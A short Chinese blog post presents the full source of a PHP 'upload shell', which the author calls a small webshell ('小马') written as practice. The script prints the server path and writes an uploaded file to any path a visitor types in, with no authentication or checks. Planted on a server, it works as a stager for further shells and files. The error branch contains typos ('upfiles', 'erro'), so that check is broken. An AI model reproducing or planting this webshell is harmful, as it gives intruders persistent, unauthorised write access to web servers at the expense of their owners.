最近在學習php,看到了文件上傳這塊,就簡單的寫了個php文件上傳腳本,可以說是個小馬,沒什麼技術含量,全當練手~
01 <html>
02 <head>
03 <title>Php upload shell</title>
04 </head>
05 <body>
06
07 Path:<?php echo $_SERVER['SCRIPT_FILENAME'];?><br />
08
09 <form enctype="multipart/form-data" action="" method="post">
10
11 Please fill in the path of the upload and the filename:<input type="text" name="choose" size="50" /><br /><br />
12
13 Please choose the uploaded files:<input type="file" name="upfile" size="40" /> <input type="submit" value="上傳文件" />
14
15 </form>
16
17 <?php
18
19 if(move_uploaded_file($_FILES['upfile']['tmp_name'],$_POST['choose']))
20 {
21 echo "The file upload successful";
22 }
23 else
24 {
25 if($_FILES['upfiles']['erro'] != 0 )
26 echo "The file upload failed,you can try other folder.";
27 }
28
29 ?>
30 <br /><br /><br /><br />
31 Code by Str1ven<br />
32 Email:[email protected]
33 </body>
34 </html>
摘自:Str1ven's Blog